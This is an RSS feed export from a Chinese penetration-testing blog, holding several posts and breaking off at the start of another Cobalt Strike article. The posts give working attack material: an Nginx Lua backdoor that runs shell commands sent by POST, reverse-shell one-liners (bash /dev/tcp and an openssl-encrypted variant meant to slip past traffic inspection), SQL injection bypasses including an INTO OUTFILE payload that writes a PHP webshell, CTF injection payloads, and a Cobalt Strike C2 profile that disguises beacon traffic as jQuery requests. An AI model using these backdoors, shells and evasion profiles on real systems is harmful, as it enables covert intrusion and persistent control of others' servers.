<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>专题之渗透篇 &#8211; ChaBug安全</title>
	<atom:link href="/special/pentest/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sun, 01 Sep 2019 09:56:24 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Nginx Lua Backdoor</title>
		<link>/web/952.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 01 Sep 2019 09:56:24 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[backdoor]]></category>
		<guid isPermaLink="false">/?p=952</guid>

					<description><![CDATA[在先知看到了apache利用lua留后门，就想着用nginx也试试 要求 安装有ngx_lua模块，在openresty和tengine中是默认安装了ngx_lua模块的。 我这里...]]></description>
										<content:encoded><![CDATA[<p>在先知看到了apache利用lua留后门，就想着用nginx也试试</p>
<h1>要求</h1>
<p>安装有ngx_lua模块，在openresty和tengine中是默认安装了ngx_lua模块的。</p>
<p>我这里拿openresty举例，你可以在这里<a href="https://openresty.org/download/openresty-1.15.8.1-win64.zip">下载win平台</a>打包好的。</p>
<h1>步骤</h1>
<p>找到conf/nginx.conf，在server块中添加路由</p>
<pre><code class="language-nginx ">location = /a.php {  
    default_type 'text/plain';  
    content_by_lua_file lua/backdoor.lua;
}
</code></pre>
<p>然后创建<code>lua/<span class="wpcom_tag_link"><a href="/tags/backdoor" title="backdoor" target="_blank">backdoor</a></span>.lua</code>脚本，你也可以创建在任意位置，不过要对应上文的<code>content_by_lua_file</code>字段</p>
<pre><code class="language-lua ">ngx.req.read_body()
local post_args = ngx.req.get_post_args()
local cmd = post_args["cmd"]
if cmd then
    f_ret = io.popen(cmd)
    local ret = f_ret:read("*a")
    ngx.say(string.format("%s", ret))
end
</code></pre>
<p>重载nginx</p>
<pre><code class="language-bash ">nginx -s reload
</code></pre>
<p>浏览器访问</p>
<p><img src="https://y4er.com/img/uploads/20190901174819.png" alt="20190901174819" /></p>
<h1>文后</h1>
<p>在实际的环境中，conf文件并不固定，你需要针对不同站点的配置文件去修改。</p>
<p>而location你可以更灵活一些，毕竟他能用正则表达式🙄，具体怎么用看你自己咯。</p>
<p>参考链接</p>
<ol>
<li>https://github.com/netxfly/nginx_lua_security</li>
<li>https://xz.aliyun.com/t/6088</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>利用openssl加密你的shell</title>
		<link>/web/936.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 26 Aug 2019 05:43:31 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[shell]]></category>
		<guid isPermaLink="false">/?p=936</guid>

					<description><![CDATA[利用openssl加密你的shell 在我们实际的渗透测试过程中，总是有各种各样的流量审查设备挡住我们通往system的道路，尤其是在反弹shell的时候，明文传输的shell总是...]]></description>
										<content:encoded><![CDATA[<p>利用<span class="wpcom_tag_link"><a href="/tags/openssl" title="openssl" target="_blank">openssl</a></span>加密你的<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span></p>
<p>在我们实际的渗透测试过程中，总是有各种各样的流量审查设备挡住我们通往system的道路，尤其是在反弹shell的时候，明文传输的shell总是容易断，那么本文介绍一种利用openssl反弹流量加密的shell来绕过流量审查设备。</p>
<h1>常规bash反弹</h1>
<p>vps执行 <code>nc -lvvp 4444</code></p>
<p>目标主机执行 <code>bash -i &gt;&amp; /dev/tcp/172.16.1.1/4444 0&gt;&amp;1</code></p>
<p><img src="https://y4er.com/img/uploads/20190826131727.png" alt="20190826131727" /></p>
<p>流量明文传输，很容易被拦截。</p>
<h1>openssl加密传输</h1>
<p>第一步，在vps上生成SSL证书的公钥/私钥对</p>
<pre><code class="language-bash ">openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
</code></pre>
<p>第二步，在VPS监听反弹shell</p>
<pre><code class="language-bash ">openssl s_server -quiet -key key.pem -cert cert.pem -port 4433
</code></pre>
<p>第三步，在目标上用openssl加密反弹shell的流量</p>
<pre><code class="language-bash ">mkfifo /tmp/s;/bin/bash -i &lt; /tmp/s 2&gt;&amp;1|openssl s_client -quiet -connect vps:443 &gt; /tmp/s;rm /tmp/s
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190826132310.png" alt="20190826132310" /></p>
<p>流量已经被加密。</p>
<h1>参考链接</h1>
<ol>
<li>https://www.t00ls.net/articles-52477.html</li>
<li>https://www.freebuf.com/vuls/211847.html</li>
<li>https://www.cnblogs.com/heycomputer/articles/10697865.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SQL注入tips总结</title>
		<link>/web/869.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 16:00:57 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=869</guid>

					<description><![CDATA[过滤单引号 过滤了单引号可以利用以下几种方法绕过。 1. 整数型注入 整数型注入就不用多废话了，只有在判断表名和列名的时候需要用到单引号，但是可以利用char函数和16进制绕过。利...]]></description>
										<content:encoded><![CDATA[<p><strong>过滤单引号</strong></p>
<blockquote><p>
  过滤了单引号可以利用以下几种方法绕过。
</p></blockquote>
<pre><code class="">1. 整数型注入
  整数型注入就不用多废话了，只有在判断表名和列名的时候需要用到单引号，但是可以利用char函数和16进制绕过。利用sql语句写入文件的时候也可以利用16进制，因为mysql会将16进制解析。
2. 字符型注入
  gbk编码，另外可以根据具体的waf/ips规则进行bypass，比如dedecms中的全局过滤ips绕过方式。
</code></pre>
<p><strong>过滤select</strong></p>
<blockquote><p>
  其实过滤了select基本无解，起码在我这个菜逼眼里是这样的，但是也要考虑特殊情况。比如今年的强网杯的一道题目，虽然过滤了select但是可以堆叠查询，因此有了绕过的方法。
</p></blockquote>
<pre><code class="">//用到的语句
set语句可用于向系统变量或用户变量赋值。 eg: SET @s1ye=test;
PREPARE stmt_name FROM preparable_stmt 定义预处理语句，它将包含占位符(?)的查询传递给MySQL服务器。
EXECUTE stmt_name  执行预处理语句
</code></pre>
<p><strong>过滤逗号</strong></p>
<blockquote>
<ol>
<li>盲注：
<p>  利用from 1 for 1</p>
</li>
<li>
<p>可回显<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>：</p>
<p>  利用 A join B</p>
</li>
<li>
<p>使用like：</p>
<p>  select user() like &#8216;r%&#8217;;</p>
</li>
<li>
<p>limit时的利用方法在下面limit部分。</p>
</li>
</ol>
</blockquote>
<pre><code class="">A join B:
  INNER JOIN（内连接,或等值连接）：获取两个表中字段匹配关系的记录。
  LEFT JOIN（左连接）：获取左表所有记录，即使右表没有对应匹配的记录。
  RIGHT JOIN（右连接）： 与 LEFT JOIN 相反，用于获取右表所有记录，即使左表没有对应匹配的记录。
  用法就很简单了，我们用的到第一种方法，INNER可以省略，效果一样。
  eg: select a.name,b.password from users a join passwd n;
  在回显注入下使用：
  ?id=-1 union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d)
</code></pre>
<p><img src="/wp-content/uploads/2019/08/gk9VhIAFly3sJqv-1.png" alt="" /></p>
<pre><code class="">from 1 for 1:
  没啥好说的直接看例子，eg
  ?id=-1 union select 1,2,ascii(substr((database()) from 1 for 1))='r'--+
</code></pre>
<p><img src="/wp-content/uploads/2019/08/ayWKlr7LNjuhGZP-1.png" alt="" /></p>
<pre><code class="">"like" eg:(tablename=name)
  select * from name where id =1 and (select group_concat(table_name) from information_schema.tables where table_schema=database()) like 'n%';
</code></pre>
<p><img src="/wp-content/uploads/2019/08/iWAKuaLYeOyVmGr-1.png" alt="" /></p>
<p><strong>比较符号绕过</strong></p>
<blockquote>
<ol>
<li>between a and b：返回a，b之间的数据，不包含b。</li>
<li>greatest()、least()：（前者返回最大值、后者返回最小值）</li>
</ol>
<p>  ​       eg: select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64</p>
<p>  ​       所以上述语句就是与64比较，当页面正常返回时说明真实的ascii码小于或等于64，继续fuzz即可。
</p></blockquote>
<p><strong>等号绕过</strong></p>
<blockquote><p>
  可以使用like、rlike、regexp 或者&lt;>。盲注时也可以利用运算符，^、+、-等，观察返回结果与页面变化即可，举一反三灵活运用。
</p></blockquote>
<p><strong>order by 注入</strong></p>
<blockquote><p>
  利用oder by盲注的话看文章：</p>
<blockquote class="wp-embedded-content" data-secret="lwt9Za74Y7"><p><a href="/ctf/852.html">一道题引发的无列名注入</a></p></blockquote>
<p><iframe title="《一道题引发的无列名注入》—ChaBug安全" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" src="/ctf/852.html/embed#?secret=lwt9Za74Y7" data-secret="lwt9Za74Y7" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</p></blockquote>
<pre><code class="">注入点在order by 后的盲注
1. if（条件语句）
  ?order=if((1=1),sleep(3),1)
2. 直接and if
  看图
3. rand()盲注：
  order by rand(true); order by rand(false);
</code></pre>
<p><img src="/wp-content/uploads/2019/08/Y3vAzH9MoQeR2VN-1.png" alt="" /></p>
<pre><code class="">注入点在order by 后的报错注入:
1. 利用procedure存储过程
2. XPATH
   select * from name order by extractvalue(1,concat('~',database(),'~'));
</code></pre>
<p><img src="/wp-content/uploads/2019/08/F91ytp4IqloZCun-1.png" alt="procedure" /></p>
<p><img src="/wp-content/uploads/2019/08/Wlat7GgPsTb93pz-1.png" alt="" /></p>
<pre><code class="">#利用LINES TERMINATED BY方式getshell
   ?order=1 limit 0,1 into outfile '/tmp/2.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E
</code></pre>
<p><strong>limit注入</strong></p>
<pre><code class="">注入点在limit后的注入：
  同样的利用procedure存储过程 （https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html）
看文章就可以了
</code></pre>
<pre><code class="">如果注入中需要用到limit但是又过滤了逗号，可以利用以下方法。
select * from users limit 0,1;
# 等价于↓
select * from users limit 1 offset 0;
</code></pre>
<p><strong>盲注带外</strong></p>
<blockquote><p>
  直接看文章，利用dnslog带外的话需要一些权限，比如必须有FILE权限、secure_file_priv为空而不是NULL（不为空就只能读限定目录的文件）</p>
<p>  <a href="http://lawlietweb.com/2018/06/30/dnslogsqli/">chabug一位师傅的文章</a>
</p></blockquote>
<p><strong>substr替换</strong></p>
<pre><code class="">mid,left,right,substring,lpad,rpad等
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>一道题引发的无列名注入</title>
		<link>/ctf/852.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 14:37:20 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[列名]]></category>
		<category><![CDATA[子查询]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[盲注]]></category>
		<guid isPermaLink="false">/?p=852</guid>

					<description><![CDATA[@Syst1m的考核题 题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。 常规联合查询注入 http://152.136.179....]]>/</description>
										<content:encoded><![CDATA[<p>@Syst1m的考核题</p>
<p>题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。</p>
<p>常规联合查询<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,3
</code></pre>
<p>三个字段</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select table_name from information_schema.tables where table_schema=database())
</code></pre>
<p>拿到flag所在的表，继续查<span class="wpcom_tag_link"><a href="/tags/%e5%88%97%e5%90%8d" title="列名" target="_blank">列名</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select column_name from information_schema.columns where table_name='this_1s_th3_fiag_tab13')
</code></pre>
<p>死活查不出来，应该是过滤了column关键字，没有列名怎么查出来数据呢？？？</p>
<p>有两种方法<br />
1. order by<span class="wpcom_tag_link"><a href="/tags/%e7%9b%b2%e6%b3%a8" title="盲注" target="_blank">盲注</a></span><br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%ad%90%e6%9f%a5%e8%af%a2" title="子查询" target="_blank">子查询</a></span></p>
<p>本地测试建表</p>
<p><img src="https://y4er.com/img/uploads/20190822205338.png" alt="20190822205338" /></p>
<p><img src="/wp-content/uploads/2019/08/20190822205621.png" alt="20190822205621" /></p>
<h1>order by盲注</h1>
<p>order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序，不区分大小写。</p>
<p>先来本地测试一下</p>
<p><img src="/wp-content/uploads/2019/08/20190822210044.png" alt="20190822210044" /></p>
<p>可以看到我们构造的数据排在了第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210124.png" alt="20190822210124" /></p>
<p>仍然在第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210155.png" alt="20190822210155" /></p>
<p>当拿&#8217;q&#8217;和&#8217;pass&#8217;做比较时，我们构造的数据被排在了第二行。由此可以来根据不同的回显来逐位判断。</p>
<p>拿我们这道题来说</p>
<p><img src="/wp-content/uploads/2019/08/20190822210915.png" alt="20190822210915" /></p>
<p>1的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822210948.png" alt="20190822210948" /></p>
<p>2的时候原始数据在前，说明第一位是1</p>
<p>然后判断第二位</p>
<p><img src="/wp-content/uploads/2019/08/20190822211104.png" alt="20190822211104" /></p>
<p>1a的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822211144.png" alt="20190822211144" /></p>
<p>1b的时候原始数据在前，说明第二位是1a</p>
<p>由此逐位判断。</p>
<h1>子查询</h1>
<p>在无列名的情况下，用子查询可以很简单的将数据跑出来。</p>
<p>子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下，一个查询语句的条件需要另一个查询语句来获取，内层查询（inner query）语句的查询结果，可以为外层查询（outer query）语句提供查询条件。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214132.png" alt="20190822214132" /></p>
<p><strong>这个语句将列名转换为了1,2,3</strong>，这个时候列名就已知了，我们可以用子查询将数据归并。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214824.png" alt="20190822214824" /></p>
<p>此时就能查出来数据了，然后我们再来看这个题。</p>
<p>我们已知了表名为<code>this_1s_th3_fiag_tab13</code>，但是不知道这个表有几个字段</p>
<p><img src="/wp-content/uploads/2019/08/20190822220530.png" alt="20190822220530" /></p>
<p>可以用联合查询的方式来判断字段数。</p>
<p>查出数据</p>
<p><img src="/wp-content/uploads/2019/08/20190822220706.png" alt="20190822220706" /></p>
<p>拿到我们这个题里来</p>
<p><img src="/wp-content/uploads/2019/08/20190822220930.png" alt="20190822220930" /></p>
<p>payload</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from this_1s_th3_fiag_tab13)x
</code></pre>
<p>子查询真是个好东西👍</p>
<h1>写在文后</h1>
<p>本文介绍了两种无列名注入的方式，很巧妙的在没有列名的情况下查出来数据，在实际利用中更推荐用子查询的方式，毕竟盲注有可能费力不讨好。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cobalt Strike Malleable C2 配置</title>
		<link>/web/832.html</link>
		
		<dc:creator><![CDATA[X1r0z]]></dc:creator>
		<pubDate>Tue, 13 Aug 2019 13:58:32 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[cobaltstrike]]></category>
		<guid isPermaLink="false">/?p=832</guid>

					<description><![CDATA[Malleable C2 是 Cobalt Strike 的一项功能, 意为 &#8220;可定制的&#8221; 的 C2 服务器. Malleable C2 允许我们仅通过一个...]]></description>
										<content:encoded><![CDATA[<p>Malleable C2 是 Cobalt Strike 的一项功能, 意为 &#8220;可定制的&#8221; 的 C2 服务器. Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为.</p>
<h2>配置示例</h2>
<p>一个简单的 HTTP Malleable C2 Profile.</p>
<pre><code class="language-cmd ">set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";

http-get {

    set uri "/jquery.min.js";

    client {

        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        parameter "ver" "1.2.4";

        metadata {

            base64;
            prepend "token=";
            header "Cookie";

        }

    }

    server {

        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "application/javascript; charset=utf-8";

        output {

            base64;
            prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&amp;&amp;"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
            append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&amp;&amp;(a.$=oc),b&amp;&amp;a.jQuery===n&amp;&amp;(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
            print;

        }
    }
}

http-post {

    set uri "/wp-admin";

    client {

        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        header "Cookie" "wordpress_test_cookie=WP+Cookie+check";

        id {

            base64;
            prepend "PHPSESSID=";
            header "Cookie";

        }

        output {

            base64;
            print;

        }
    }

    server {

        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "text/html; charset=UTF-8";

        output {

            base64;
            print;

        }
    }
}

http-stager {

    set uri_x86 "/favicon1.ico";
    set uri_x64 "/favicon2.ico";

    client {

        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";

    }

    server {

        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "image/x-icon";

        output {

            print;

        }
    }
}
</code></pre>
<p>下面将会基于这个配置文件依次进行讲解.</p>
<p>但先来看看这个配置文件做了什么. 以 http-get 为例, 该代码块仅对通信过程中的 GET 请求有效.</p>
<pre><code class="language-cmd ">http-get {

    set uri "/jquery.min.js";

    client {

        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        parameter "ver" "1.2.4";

        metadata {

            base64;
            prepend "token=";
            header "Cookie";

        }

    }

    server {

        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "application/javascript; charset=utf-8";

        output {

            base64;
            prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&amp;&amp;"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
            append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&amp;&amp;(a.$=oc),b&amp;&amp;a.jQuery===n&amp;&amp;(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});"
            print;

        }
    }
}
</code></pre>
<p>http-get 中分为 client 和 server 两大块, 分别针对 Beacon 发送的请求和 C2 响应的内容进行修改.</p>
<p>首先我们指定了参数 <code>uri</code> 为 <code>/jquery.min.js</code>, 表示通信时请求的 URL 地址.</p>
<p>在 client 块里, 我们在请求头中添加了 <code>Accept-Language</code> 字段, 对要发送的 Metadata 进行 base64 编码并拼接字符串, 然后将数据存放在 HTTP 头中, 其内容为 <code>Cookie: token=BASE64_ENCODED_DATA</code> , 最终发送至 C2.</p>
<p>在 server 块里, 我们在响应头中添加了 <code>Server</code> 和 <code>Content-Type</code> 字段, 在响应内容的前后加上 jQuery 代码, 最后进行 base64 编码并响应在 HTTP Body 里.</p>
<h2>通信过程</h2>
<p>在此之前. 我觉得有必要了解一下 Beacon 与 C2 的通信过程.</p>
<p>当 Beacon 被执行后, 会在 C2 上下载载荷执行, 即 Stage 过程, Stageless 则省去了这一步.</p>
<p>之后, Beacon 根据设置的睡眠时间进入睡眠状态, 结束后向 C2 发送有关 Beacon 的信息如系统类型, 版本, 当前用户, 称之为 Metadata.</p>
<p>如果存在待执行的任务, C2 就会响应发送 Metadata 的请求, Beacon 将会收到有关 Task 的具体内容和唯一的 Task ID, 并依次执行任务.</p>
<p>执行完毕后, Beacon 将各 Task 回显的数据与对应的 Task ID 依次上传至 C2, 然后再次进入睡眠状态.</p>
<p>其中 Beacon 发送 Metadata 时一般使用 GET, 上传回显数据时使用 POST.</p>
<h2>代码结构</h2>
<p>我们对于流量特征的修改都是在指定的代码块中进行的, 以下是上文中的代码块.</p>
<pre><code class="language-cmd ">http-get {

    client {

        metadata {

        }

    }

    server {

        output {

        }
    }
}


http-post {

    client {

        id {

        }

        output {

        }
    }

    server {

        output {

        }
    }
}


http-stager {

    client {

    }

    server {

        output {

        }
    }
}

</code></pre>
<p>可以看到, 代码块按 HTTP 请求分为 http-get http-post 两种, 以及被单独列出来的 http-stager 用于 stage 过程.</p>
<p>按照对象分为 client 和 server, 按照不同的通信步骤分为 metadata id 和 output.</p>
<p>这里 client 和 server 恰好都有 output 块, 可能会有点不理解. 简要说明一下, Beacon 在上传 Task 数据时是需要对应的 Task ID 的, id 块正好是针对 Task ID 的修改, output 块则是修改通过 POST 发送的数据, 而 server 中的 output 块仅仅是用于修改响应内容的, 不要弄混了.</p>
<h2>语句与参数</h2>
<h3>自定义参数</h3>
<p>在之前的代码中, 我们在开头指定了一些自定义参数.</p>
<pre><code class="language-cmd ">set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";
</code></pre>
<p>这些是作用于全局的参数, 统一的语法为 <code>set key "value"</code> 且后面需要加上分号, 字符串仅能使用双引号表示.</p>
<p>另外可以通过反斜杠来表示特殊字符, 例如 <code>n</code>, <code>r</code>, <code>t</code>, <code>"</code>, <code>\</code>, Unicode 字符 <code>u123</code> 和Hex 字符 <code>x123</code>.</p>
<p>参数很简单, 就不再细说了. 需要注意的是 <code>tcp_port</code>. 还记得之前的 Bind TCP Beacon 吗? 通过 <code>tcp_port</code> 我们就能够更改目标 Beacon 监听的端口.</p>
<p>而对于这些参数.</p>
<pre><code class="language-cmd ">set uri "/jquery.min.js";
set uri_x86 "/favicon1.ico";
set uri_x64 "/favicon2.ico";
</code></pre>
<p>则只能放在 http-get http-post 和 http-stager 中.</p>
<p>其中 <code>uri</code> 可在 http-get http-post 中指定, 表示通信时请求的 URL, 例如 <code>/wp-admin</code>.</p>
<p><code>uri_x86</code> 和 <code>uri_x64</code> 是指在不同位数的系统上 stage 过程中所请求的 URL, 两者不能重复. 个人建议在写的的时候也尽量使用二进制文件的路径, 例如 JPG PNG GIF.</p>
<h3>语句</h3>
<p>在 Malleable C2 中, 语句可分为数据转换语句, 终止语句, 额外语句 (Header and Parameter) 三种类型.</p>
<p>数据转换语句有 base64 base64url mask netbios netbiosu prepend append.</p>
<p>终止语句有 print uri-append header parameter.</p>
<p>额外语句有 header parameter.</p>
<h3>输出位置</h3>
<p>首先来讲一下终止语句, 也就是指定传输数据的存放位置. Malleable C2 提供了 4 种方法: print uri-append header parameter, 分别为存放在 HTTP Body, URL, HTTP 头和 GET 参数中.</p>
<p>终止语句只能写进 metadata id output 块, 不能直接放在 client 和 server 里, 而且终止语句的后面不能有其它语句, 也就是说只能放在代码块末尾.</p>
<p>其中 print 和 uri-append 无须指定参数, 后两者的格式为 <code>header "Cookie"</code> 和 <code>parameter "action"</code>, 即存放位置为 Cookie 字段和 action 参数. 四种方法中只有 print 能够存放长数据.</p>
<p>举个例子.</p>
<pre><code class="language-cmd ">metadata {

    base64;
    prepend "token=";
    header "Cookie";

}
</code></pre>
<p>上面我们将数据进行 base64 编码, 并在其前面添加 <code>token=</code>, 最后存放在 HTTP 头的 Cookie 字段中, 最后的效果为 <code>Cookie: token=BASE64_ENC_DATA</code>.</p>
<h3>编码与加密</h3>
<p>还是上面的代码.</p>
<pre><code class="language-cmd ">metadata {

    base64;
    prepend "token=";
    header "Cookie";

}
</code></pre>
<p>这里的 base64 叫作数据转换语句, 只能写进 metadata id output 块中. 所有的数据转换语句都不需要传参, 但都不能放在 http-stager 块中 (因为那么点 Payload 长度没空间给你写解码函数).</p>
<p>另外还有 base64url mask netbios netbiosu. base64url 编码后的数据是可以放在 URL 中的, mask 为异或加密, 至于 netbios netbiosu 则是在 SMB 传输过程中针对主机名的编码方式.</p>
<p>最后说一个需要注意的点.</p>
<pre><code class="language-cmd ">metadata {

    prepend "token=";
    base64;
    header "Cookie";

}
</code></pre>
<p>以这种顺序编码的话, 它就会将 <code>token=</code> 字符串与数据一起编码, HTTP 字段就会变成 <code>Cookie: BASE64_ENC_DATA</code>.</p>
<h3>伪造与混淆</h3>
<p>prepend 和 append 混用.</p>
<pre><code class="language-cmd ">output {

    base64;
    prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&amp;&amp;"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
    append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&amp;&amp;(a.$=oc),b&amp;&amp;a.jQuery===n&amp;&amp;(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});"
    print;

}
</code></pre>
<p>我们通过 base64 加密数据, 并在其前后添加 jQuery 代码, 最终通过 HTTP Body 输出.</p>
<p>其中的 prepend 和 append 是可以放进 http-stager 块的, 两者合理搭配的话能够达到隐蔽的效果. 例如分别插入图片开头和末尾的 blob, 把数据留给中间.</p>
<p>不过除了 prepend append 就没有别的混淆办法了吗? 答案是有的.</p>
<pre><code class="language-cmd ">client {

    set uri "/jQuery.min.js"
    header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
    parameter "ver" "1.2.4";

}
</code></pre>
<p>上述代码通过 header 和 parameter 添加用于混淆的 HTTP 头和 GET 参数, 格式为 <code>header "key" "value"</code> 和 <code>parameter "key "value"</code>, 最终的效果是请求了 <code>/jQuery.min.js?ver=1.2.4</code> 这个地址.</p>
<p>注意这里的 header 和 parameter 我称之为额外语句, 与终止语句的不同在于它们的位置不一样. 额外语句只能写进 client 和 server 块, 而不是 metadata id 和 output 块.</p>
<h2>调试运行</h2>
<p>Cobalt Strike 默认给我们了 <code>c2lint</code> 用于检查配置文件的语法错误, 同时还能够预览配置后的 HTTP 请求与响应.</p>
<p><img src="https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190813213215.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190813213243.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190813213305.png" alt="" /></p>
<p>通过 teamserver 命令的第三个参数指定配置文件.</p>
<p><img src="/wp-content/uploads/2019/08/20190813213456.png" alt="" /></p>
<h2>一些话</h2>
<p>Github 上的 Malleable C2 Profile.</p>
<p><a href="https://github.com/rsmudge/Malleable-C2-Profiles">rsmudge/Malleable-C2-Profiles</a></p>
<p><a href="https://github.com/threatexpress/malleable-c2">threatexpress/malleable-c2</a></p>
<p>这篇文章也只是给 Malleable C2 开了个头, 并没有涉及到什么太过深入的东西. 例如如何自定义命名管道, DNS 传输, 添加证书, 签名等.</p>
<p>加油吧 🙂</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cobalt Strike 几种不常见的上线方式</title>
		<link>/tools/755.html</link>
		
		<dc:creator><![CDATA[X1r0z]]></dc:creator>
		<pubDate>Tue, 13 Aug 2019 01:48:09 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cobaltstrike]]></category>
		<guid isPermaLink="false">/?p=755</guid>

					<description><![CDATA[开头先膜膜 m 师傅. Cobalt Strike 中在内网中比较常用的通过 SMB, Bind TCP, Reverse TCP 上线的三种方式. SMB Beacon 这种上线...]]></description>
										<content:encoded><![CDATA[<p>开头先膜膜 m 师傅.</p>
<p>Cobalt Strike 中在内网中比较常用的通过 SMB, Bind TCP, Reverse TCP 上线的三种方式.</p>
<h2>SMB Beacon</h2>
